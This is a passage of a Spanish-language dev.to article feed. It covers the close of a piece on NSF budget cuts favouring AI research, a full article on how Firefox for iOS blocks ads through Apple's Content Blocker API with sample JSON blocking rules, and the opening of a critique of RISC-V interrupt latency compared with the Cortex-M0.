&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📌 Nota:&lt;/strong&gt; el 56% es la cifra de la propuesta presupuestaria del Ejecutivo, no el presupuesto final. En Estados Unidos, el Congreso tiene la última palabra en las apropiaciones anuales y en ciclos previos restauró parte de los recortes propuestos para el NSF. La cifra final puede diferir de la propuesta inicial.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Impacto y análisis
&lt;/h2&gt;

&lt;p&gt;El efecto más citado por universidades y sociedades científicas es la pérdida de una generación de investigadores en formación. Las becas doctorales y los contratos postdoctorales financiados por el NSF suelen ser la puerta de entrada a una carrera académica en ciencias básicas; si esos fondos se cortan a mitad de camino, estudiantes de doctorado quedan sin financiamiento para terminar sus tesis y postdocs pierden el puesto que sostenía su investigación.&lt;/p&gt;

&lt;p&gt;Hay también un efecto de &lt;strong&gt;fuga de talento&lt;/strong&gt;: investigadores con financiamiento cortado buscan posiciones en universidades de otros países o en la industria privada, donde la IA sí atrae inversión masiva. Esto no es nuevo: episodios similares de recortes bruscos a agencias científicas en otros países (por ejemplo, recortes a la ciencia en el Reino Unido en la década de 2010) mostraron una salida sostenida de investigadores jóvenes hacia mercados con más estabilidad de financiamiento.&lt;br&gt;
Becas doctorales y postdocs son los puestos más expuestos al recorte.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Ojo:&lt;/strong&gt; el corte de subvenciones activas a mitad de ciclo, no solo la reducción del presupuesto futuro, es lo que más preocupa a las universidades: rompe compromisos ya asumidos con personal contratado y equipo comprado contra esos fondos.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Desde la óptica de la industria de IA, el reacomodo del NSF suma un actor público más al financiamiento de investigación en aprendizaje automático, cómputo cuántico y biotecnología computacional, en un momento donde ya hay una inversión privada récord en el sector. El riesgo, según críticos del recorte, es que el NSF termine duplicando lo que el sector privado ya financia, mientras abandona las áreas donde el financiamiento público es insustituible porque no generan retorno comercial directo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué sigue
&lt;/h2&gt;

&lt;p&gt;El proceso presupuestario en Estados Unidos no termina con la propuesta del Ejecutivo. El Congreso debe aprobar las apropiaciones finales para el NSF, y en ciclos presupuestarios anteriores restauró una parte de los recortes propuestos a la agencia. Universidades, sociedades científicas y algunos legisladores ya presionan para revertir al menos parcialmente el ajuste, especialmente en los programas de becas doctorales.&lt;/p&gt;

&lt;p&gt;En paralelo, el NSF sigue publicando convocatorias específicas ligadas a IA y cómputo cuántico bajo el paraguas del programa federal de IA para ciencia, así que el reparto real de fondos entre disciplinas se irá conociendo a medida que la agencia abra o cierre convocatorias durante el resto de 2026.&lt;/p&gt;

&lt;p&gt;📖 Resumen en Telegram: Ver resumen&lt;/p&gt;

&lt;p&gt;Probalo vos: corré el comando curl contra la API pública de NSF Award Search con el nombre de tu universidad o tu área de investigación para ver en vivo qué subvenciones perdieron financiamiento este año.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ¿El recorte del NSF ya es definitivo?
&lt;/h3&gt;

&lt;p&gt;No. Es la propuesta de presupuesto del Ejecutivo para el año fiscal 2026. El Congreso aprueba las apropiaciones finales y en ciclos anteriores restauró parte de los fondos propuestos para el NSF.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué pasa con las subvenciones que ya estaban aprobadas?
&lt;/h3&gt;

&lt;p&gt;Desde abril de 2025 el NSF terminó subvenciones activas antes de su fecha de expiración original, algo que afectó proyectos con personal ya contratado y equipo ya comprado con esos fondos.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué áreas reciben más fondos ahora?
&lt;/h3&gt;

&lt;p&gt;Inteligencia artificial, cómputo cuántico y biotecnología son las áreas priorizadas. Ciencias sociales, del comportamiento y educación STEM concentran la mayor parte del recorte.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Por qué el NSF es distinto del NIH?
&lt;/h3&gt;

&lt;p&gt;El NIH financia investigación biomédica. El NSF cubre disciplinas de ciencia básica sin fines médicos, como matemática, física, ecología, ciencias sociales e ingeniería, áreas donde la inversión privada suele ser escasa.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Cómo puedo consultar qué subvenciones se cancelaron?
&lt;/h3&gt;

&lt;p&gt;El NSF expone una API pública de búsqueda de subvenciones en api.nsf.gov donde se puede filtrar por institución, palabra clave o fecha de expiración sin necesidad de credenciales.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Afecta esto a investigadores fuera de Estados Unidos?
&lt;/h3&gt;

&lt;p&gt;De forma indirecta sí: colaboraciones internacionales financiadas parcialmente por el NSF pierden ese aporte, y la reducción de posiciones postdoctorales en EE.UU. cambia el mercado laboral académico global.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.nsf.gov" rel="noopener noreferrer"&gt;NSF&lt;/a&gt;: sitio oficial de la National Science Foundation, con sus prioridades presupuestarias vigentes.- &lt;a href="https://en.wikipedia.org/wiki/National_Science_Foundation" rel="noopener noreferrer"&gt;Wikipedia&lt;/a&gt;: historia, estructura y mandato de la agencia.- &lt;a href="https://www.research.gov" rel="noopener noreferrer"&gt;Research.gov&lt;/a&gt;: portal donde investigadores gestionan y consultan subvenciones federales de ciencia.- &lt;a href="https://www.whitehouse.gov" rel="noopener noreferrer"&gt;Casa Blanca&lt;/a&gt;: sitio oficial donde se publican las propuestas de presupuesto federal.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;📱 &lt;strong&gt;¿Te gusta este contenido?&lt;/strong&gt; Únete a nuestro canal de Telegram &lt;a href="https://t.me/programacion" rel="noopener noreferrer"&gt;@programacion&lt;/a&gt; donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.&lt;/p&gt;

</description>
      <category>technology</category>
      <category>science</category>
      <category>programming</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Firefox para iOS bloquea anuncios con la Content Blocker API de Apple</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Sun, 16 Aug 2026 14:23:15 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/firefox-para-ios-bloquea-anuncios-con-la-content-blocker-api-de-apple-3d05</link>
      <guid>https://dev.to/lu1tr0n/firefox-para-ios-bloquea-anuncios-con-la-content-blocker-api-de-apple-3d05</guid>
      <description>&lt;p&gt;Firefox para iOS no puede bloquear anuncios como lo hace en tu computadora: en el iPhone es Apple quien decide que reglas puede aplicar cualquier navegador contra la publicidad.&lt;/p&gt;

&lt;p&gt;La razon es una sola norma de Apple: todo navegador en iOS corre sobre WebKit, asi que ni Firefox ni Chrome traen su propio motor de bloqueo de peticiones. En su lugar dependen de los &lt;strong&gt;bloqueadores de contenido&lt;/strong&gt; (content blockers), extensiones que Apple diseno para Safari y que Firefox adopto desde que llego a la App Store.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Apple exige que todo navegador en iOS use WebKit (App Store Review Guideline 2.5.6), lo que impide extensiones tipo webRequest.- Firefox para iOS usa la Content Blocker API de Apple, introducida en iOS 9 (2015), en vez del motor de WebExtensions de escritorio.- Los bloqueadores de contenido se activan desde Ajustes de iOS y luego se seleccionan dentro de Firefox, no al reves.- Apps compatibles conocidas: 1Blocker, AdGuard, Wipr y AdBlock Plus para iOS.- Las reglas de bloqueo son declarativas: un JSON estatico con trigger y action, no codigo que se ejecuta en cada peticion.- Firefox Focus, la app hermana de Mozilla, trae proteccion de rastreo integrada sin necesidad de instalar una extension aparte.- Desde iOS 17.4 (2024), el DMA de la Union Europea obliga a Apple a permitir motores de navegador alternativos, aunque solo en la UE.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Que son los bloqueadores de contenido y por que Firefox depende de ellos
&lt;/h2&gt;

&lt;p&gt;En Windows, macOS o Linux, Firefox usa su propio motor Gecko y un sistema de extensiones que puede leer, modificar o cancelar cada peticion de red en tiempo real. Asi trabaja un bloqueador como uBlock Origin en escritorio: intercepta la peticion antes de que salga, la compara contra listas de filtros, y decide si la deja pasar.&lt;/p&gt;

&lt;p&gt;En iOS eso es imposible. Las &lt;a href="https://developer.apple.com/app-store/review/guidelines/" rel="noopener noreferrer"&gt;App Store Review Guidelines&lt;/a&gt; obligan a que cualquier app que muestre contenido web use el motor de renderizado del sistema, es decir WebKit, y prohiben que un navegador de terceros traiga su propio motor. Firefox para iOS por lo tanto no corre Gecko: corre WebKit, el mismo motor que Safari.&lt;/p&gt;

&lt;p&gt;Como consecuencia, Firefox tampoco puede exponer la API webRequest que usan las extensiones de escritorio. Apple resolvio ese hueco con los bloqueadores de contenido: una categoria especial de extension de sistema que no ejecuta codigo mientras navegas, sino que entrega de antemano una lista de reglas en JSON. WebKit compila esa lista y la aplica el mismo, sin que la extension llegue a ver que paginas visitas. Es un diseno pensado para privacidad: el bloqueador nunca recibe tu historial de navegacion, solo declara reglas y el sistema operativo las ejecuta por su cuenta.&lt;br&gt;
El filtrado ocurre dentro de WebKit, no dentro de la app de Firefox.&lt;/p&gt;
&lt;h2&gt;
  
  
  Contexto e historia
&lt;/h2&gt;

&lt;p&gt;Apple introdujo el bloqueo de contenido en 2015 junto con iOS 9, primero exclusivo para Safari. Ese mismo ano aparecieron en la App Store las primeras apps de esta categoria, entre ellas 1Blocker y Crystal, aprovechando una API que hasta entonces no existia para terceros.&lt;/p&gt;

&lt;p&gt;Firefox llego a iOS ese mismo noviembre de 2015, ya obligado a construirse sobre WebKit desde el primer dia: Mozilla no tenia alternativa, dado que Apple nunca permitio que Gecko corriera en el sistema. Con el tiempo, Mozilla sumo soporte para que los mismos bloqueadores de contenido pensados originalmente para Safari tambien pudieran activarse dentro de Firefox, algo que el usuario debe habilitar de forma manual porque no viene activado por defecto.&lt;/p&gt;

&lt;p&gt;El escenario cambio parcialmente con el &lt;a href="https://en.wikipedia.org/wiki/Digital_Markets_Act" rel="noopener noreferrer"&gt;Digital Markets Act&lt;/a&gt; de la Union Europea: desde iOS 17.4, publicado en 2024, Apple permite que navegadores de terceros usen su propio motor de renderizado, pero unicamente para usuarios dentro de la UE y bajo un proceso de cumplimiento que ha hecho que la mayoria de navegadores, Firefox incluido, todavia no hayan migrado por completo. Fuera de la Union Europea, la obligacion de usar WebKit sigue intacta.&lt;/p&gt;
&lt;h2&gt;
  
  
  Detalles tecnicos: como funciona una regla de bloqueo
&lt;/h2&gt;

&lt;p&gt;Un bloqueador de contenido no es un script que corre por cada peticion, es un archivo JSON con una lista de objetos &lt;code&gt;trigger&lt;/code&gt;/&lt;code&gt;action&lt;/code&gt;. El &lt;code&gt;trigger&lt;/code&gt; describe que trafico debe coincidir (por dominio, por tipo de recurso, por expresion regular en la URL) y el &lt;code&gt;action&lt;/code&gt; describe que hacer si coincide: bloquear la peticion completa, ocultar un elemento con CSS, o bloquear cookies.&lt;/p&gt;

&lt;p&gt;El ejemplo minimo posible es una regla que bloquea absolutamente todo, util solo para probar que el mecanismo esta activo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"trigger"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"url-filter"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;".*"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"block"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ese bloque bloquea cualquier recurso que cargue la pagina, asi que en la practica solo sirve para verificar que un bloqueador de contenido esta corriendo. Una regla real es mas selectiva, apunta a dominios de publicidad conocidos y complementa el bloqueo con ocultamiento de elementos residuales:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"trigger"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"url-filter"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^https?://(www&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;.)?googlesyndication&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"resource-type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"script"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"image"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"block"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"trigger"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"url-filter"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;".*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"if-domain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"ejemplo-noticias.com"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"css-display-none"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"selector"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;".banner-publicidad, .anuncio-lateral"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La primera regla bloquea scripts e imagenes que vengan del dominio de anuncios de Google; la segunda no bloquea la peticion sino que oculta con CSS el contenedor del banner en un sitio especifico, util cuando el anuncio ya cargo pero dejo un hueco visual vacio.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📌 Nota:&lt;/strong&gt; como las reglas se compilan antes de navegar, WebKit las aplica sin ejecutar JavaScript adicional por cada peticion. Eso evita el costo de tener un interprete corriendo en cada carga de pagina, pero tambien significa que el bloqueador no puede tomar decisiones dinamicas: no puede consultar una lista remota en vivo ni contar cuantas veces coincidio una regla mas alla de lo que la propia app muestre en su pantalla de estadisticas.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Como probarlo hoy
&lt;/h2&gt;

&lt;p&gt;Activar bloqueadores de contenido en Firefox para iOS no requiere instalar nada por linea de comandos, es una app de iPhone o iPad. Los pasos:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Instala&lt;/strong&gt; una app de bloqueador de contenido desde el App Store: 1Blocker, AdGuard o Wipr son las mas usadas.- &lt;strong&gt;Abre Ajustes&lt;/strong&gt; del sistema iOS, no Firefox, y activa la extension dentro de la seccion de esa app (cada app de bloqueador trae su propio toggle en Ajustes).- &lt;strong&gt;Abre Firefox&lt;/strong&gt;, entra a su menu de Ajustes y busca la opcion de bloqueo de contenido para seleccionar cual de los bloqueadores instalados usar.- &lt;strong&gt;Verifica&lt;/strong&gt; abriendo un sitio con mucha publicidad y comparando contra el mismo sitio con el bloqueador desactivado; la mayoria de estas apps ademas muestran, en su propia pantalla, un contador de peticiones bloqueadas que confirma que la extension esta activa.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Los &lt;strong&gt;bloqueadores de contenido&lt;/strong&gt; tambien se pueden combinar: activar mas de uno a la vez es posible en iOS, aunque algunas apps advierten que reglas superpuestas pueden romper el diseno de ciertos sitios si dos bloqueadores ocultan el mismo contenedor de formas distintas.&lt;br&gt;
La activacion ocurre en Ajustes de iOS, no dentro de la app de Firefox.&lt;/p&gt;

&lt;h2&gt;
  
  
  Impacto y analisis
&lt;/h2&gt;

&lt;p&gt;La limitacion de WebKit no es exclusiva de Firefox: afecta por igual a Chrome, Edge o cualquier otro navegador de terceros en iOS, porque todos comparten el mismo motor obligatorio. Lo que cambia entre apps es la interfaz para elegir el bloqueador, no el mecanismo subyacente.&lt;br&gt;
OpcionCuando usarlaVentajaLimitacionBloqueador de contenido (1Blocker, AdGuard, Wipr)Navegacion dentro de Safari o Firefox en iOSReglas especificas por sitio, facil de pausar por dominioNo filtra anuncios dentro de apps nativas, solo trafico del navegadorPerfil DNS o VPN local (AdGuard DNS, NextDNS)Querer bloquear anuncios en todas las apps del telefonoCobertura a nivel de todo el sistema operativoOcupa la unica conexion VPN activa del dispositivo y no puede ocultar elementos CSSFirefox FocusSesiones de navegacion cortas y privadas sin configurar nadaProteccion de rastreo activada por defecto, sin instalar extension aparteNo maneja pestanas multiples, pensado para uso puntual&lt;br&gt;
El trade-off real es que un &lt;strong&gt;bloqueador de contenido&lt;/strong&gt; solo ve trafico que pasa por el motor de navegacion. Un anuncio que se muestra dentro de una app nativa, como el feed de una red social o un juego con un SDK de publicidad integrado, no pasa nunca por WebKit y por lo tanto ningun bloqueador de este tipo puede tocarlo. Ahi es donde entra el bloqueo a nivel de DNS o VPN, que filtra por dominio antes de que la conexion salga del dispositivo, sin importar que app la origino.&lt;/p&gt;

&lt;p&gt;Tambien vale aclarar por que uBlock Origin nunca llego a iOS: su arquitectura depende de interceptar peticiones en tiempo real via &lt;code&gt;webRequest&lt;/code&gt;, la misma API que Apple no expone a extensiones de terceros. No es una decision de Mozilla ni de la comunidad de uBlock, es una restriccion de plataforma que aplica igual a cualquier proyecto que intente portarlo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Que sigue
&lt;/h2&gt;

&lt;p&gt;El &lt;a href="https://en.wikipedia.org/wiki/Digital_Markets_Act" rel="noopener noreferrer"&gt;Digital Markets Act&lt;/a&gt; europeo abrio la puerta a que, dentro de la UE, un navegador como Firefox pueda algun dia correr con su propio motor Gecko en iOS y traer de vuelta extensiones tipo webRequest. Eso resolveria de raiz la limitacion descrita en este articulo, al menos para usuarios europeos, pero implica que Mozilla reconstruya y mantenga una version de iOS con un motor distinto al que ya corre en el resto del mundo, un esfuerzo de ingenieria considerable que hasta ahora ningun navegador mayor ha completado. Fuera de la Union Europea no hay ningun cambio regulatorio en curso que modifique el requisito de usar WebKit.&lt;/p&gt;

&lt;p&gt;📖 Resumen en Telegram: Ver resumen&lt;/p&gt;

&lt;p&gt;Probalo vos: instala 1Blocker o AdGuard desde el App Store, activalo en Ajustes de iOS y despues en Firefox, y abri una pagina con anuncios para ver la diferencia en menos de un minuto.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ¿Firefox para iOS usa el mismo motor que Firefox de escritorio?
&lt;/h3&gt;

&lt;p&gt;No. En escritorio usa Gecko, el motor propio de Mozilla. En iOS esta obligado a usar WebKit por las reglas de Apple.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Necesito una extension especifica de Firefox o sirve cualquier bloqueador de Safari?
&lt;/h3&gt;

&lt;p&gt;Sirve cualquier app de bloqueador de contenido instalada en el sistema. Se activa igual para Safari y para Firefox, cada uno con su propio selector.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Los bloqueadores de contenido filtran anuncios dentro de apps como Instagram o un juego?
&lt;/h3&gt;

&lt;p&gt;No. Solo afectan al trafico que pasa por el motor de navegacion WebKit, no al que generan apps nativas con su propio SDK de publicidad.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Puedo usar uBlock Origin en Firefox para iOS?
&lt;/h3&gt;

&lt;p&gt;No existe una version de uBlock Origin para iOS porque su funcionamiento depende de la API webRequest, que Apple no expone a extensiones de terceros en esa plataforma.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Cambia algo con la normativa europea del DMA?
&lt;/h3&gt;

&lt;p&gt;En la Union Europea, Apple permite motores de navegador alternativos desde iOS 17.4, pero hasta ahora ningun navegador mayor migro por completo a su propio motor en esa region.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Como se si mi bloqueador de contenido esta realmente activo?
&lt;/h3&gt;

&lt;p&gt;La mayoria de estas apps muestran un contador propio de peticiones bloqueadas en su pantalla principal; si ese contador sube al navegar, la extension esta funcionando.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://support.mozilla.org/en-US/kb/block-ads-firefox-ios" rel="noopener noreferrer"&gt;Mozilla Support&lt;/a&gt;: guia oficial sobre bloqueo de anuncios en Firefox para iOS.- &lt;a href="https://developer.apple.com/app-store/review/guidelines/" rel="noopener noreferrer"&gt;Apple Developer&lt;/a&gt;: App Store Review Guidelines, seccion sobre requisitos de motor de navegacion.- &lt;a href="https://en.wikipedia.org/wiki/Firefox_for_iOS" rel="noopener noreferrer"&gt;Wikipedia&lt;/a&gt;: historia y version del motor de Firefox para iOS.- &lt;a href="https://en.wikipedia.org/wiki/Digital_Markets_Act" rel="noopener noreferrer"&gt;Wikipedia&lt;/a&gt;: Digital Markets Act y su efecto sobre motores de navegador alternativos en la UE.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;📱 &lt;strong&gt;¿Te gusta este contenido?&lt;/strong&gt; Unete a nuestro canal de Telegram &lt;a href="https://t.me/programacion" rel="noopener noreferrer"&gt;@programacion&lt;/a&gt; donde publicamos a diario lo mas relevante de tecnologia, IA y desarrollo. Resumenes rapidos, contenido fresco todos los dias.&lt;/p&gt;

</description>
      <category>mobile</category>
      <category>android</category>
      <category>ios</category>
      <category>programming</category>
    </item>
    <item>
      <title>RISC-V gasta 44 ciclos en una interrupción, Cortex-M0 solo 27</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Sun, 16 Aug 2026 02:38:26 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/risc-v-gasta-44-ciclos-en-una-interrupcion-cortex-m0-solo-27-kl5</link>
      <guid>https://dev.to/lu1tr0n/risc-v-gasta-44-ciclos-en-una-interrupcion-cortex-m0-solo-27-kl5</guid>
      <description>&lt;p&gt;Guardar el contexto de una interrupción en un microcontrolador con &lt;strong&gt;RISC-V&lt;/strong&gt; cuesta, en el mejor de los casos, 44 ciclos de reloj. Un núcleo ARM Cortex-M0, diseñado más de una década atrás, resuelve la misma tarea en 27 ciclos. Esa brecha, medida instrucción por instrucción, es el eje de una crítica técnica extensa que el ingeniero de sistemas embebidos Dmitry.GR publicó bajo el título &lt;a href="https://dmitry.gr/?r=06.%20Thoughts&amp;amp;proj=12.%20RV" rel="noopener noreferrer"&gt;"RISC-V: They Should Have Known Better"&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;El texto no ataca la idea de un conjunto de instrucciones (ISA) abierto y gratuito; apunta a decisiones concretas de diseño que, según el autor, dejan a los microcontroladores basados en RISC-V en desventaja frente a la competencia establecida en el segmento de bajo costo, justo el terreno donde el propio ecosistema RISC-V más promete crecer.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;El ingeniero Dmitry.GR publicó una crítica técnica extensa a la arquitectura RISC-V titulada They Should Have Known Better.- En RV32I con Zicsr, guardar el contexto de una interrupción cuesta al menos 21 ciclos vía CSRRW y 19 stores individuales.- Restaurar los registros al salir de la interrupción suma al menos 20 ciclos más de loads individuales.- El costo mínimo total por interrupción en RV32I es de 44 ciclos, antes de ejecutar una sola línea de C.- ARM Cortex-M0 resuelve la entrada en 15 ciclos y la salida en 12: 27 ciclos en total, con el handler escrito directo en C.- Con RV32E (16 registros en vez de 32), el costo baja a 38 ciclos: aun así, un tercio más lento que Cortex-M0.- El autor señala que extensiones como CLIC nacieron para tapar esta debilidad del ISA base de RISC-V.- Pese a la crítica, el autor cree que RISC-V dominará los microcontroladores baratos, reemplazando al 8051.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Qué pasó
&lt;/h2&gt;

&lt;p&gt;Dmitry.GR, un ingeniero conocido en la comunidad de sistemas embebidos por trabajos de ingeniería inversa de bajo nivel, publicó un ensayo extenso organizado en secciones como "Everything for Everyone", "Optionality", "Missing Obvious Pieces", "Ridiculous encoding" y "Alleged Fixes". El hilo conductor es que RISC-V, al intentar servir simultáneamente a supercomputadoras, servidores y microcontroladores de un dólar, termina sin ser óptimo para ninguno de esos casos de uso.&lt;/p&gt;

&lt;p&gt;Su argumento central en la sección "Everything for Everyone" es simple: ninguna arquitectura puede ser la mejor opción para todo. Lo que necesita un procesador de gama alta es, en buena medida, opuesto a lo que necesita un núcleo barato orientado a ahorrar costos. El autor sostiene que esas decisiones no son solo de microarquitectura: terminan impactando el propio conjunto de instrucciones.&lt;/p&gt;

&lt;p&gt;Para sostener el punto, describe el caso de uso típico de un microcontrolador barato: interconectar y reconfigurar bloques de hardware dedicados dentro de un chip mayor, como en un reproductor MP3, una tarjeta SD o una memoria USB. El trabajo pesado lo hace lógica dedicada; el núcleo solo prende registros y reacciona a eventos. Ahí importan dos cosas: latencia de interrupción baja y tamaño de código reducido, porque estos dispositivos suelen ejecutar desde ROM o RAM (no desde flash NOR, demasiado cara para producción masiva), donde la densidad de código pesa directamente en el costo del chip.&lt;br&gt;
El caso de uso típico: reconfigurar bloques de hardware, no correr matemática pesada.&lt;/p&gt;
&lt;h2&gt;
  
  
  Contexto e historia
&lt;/h2&gt;

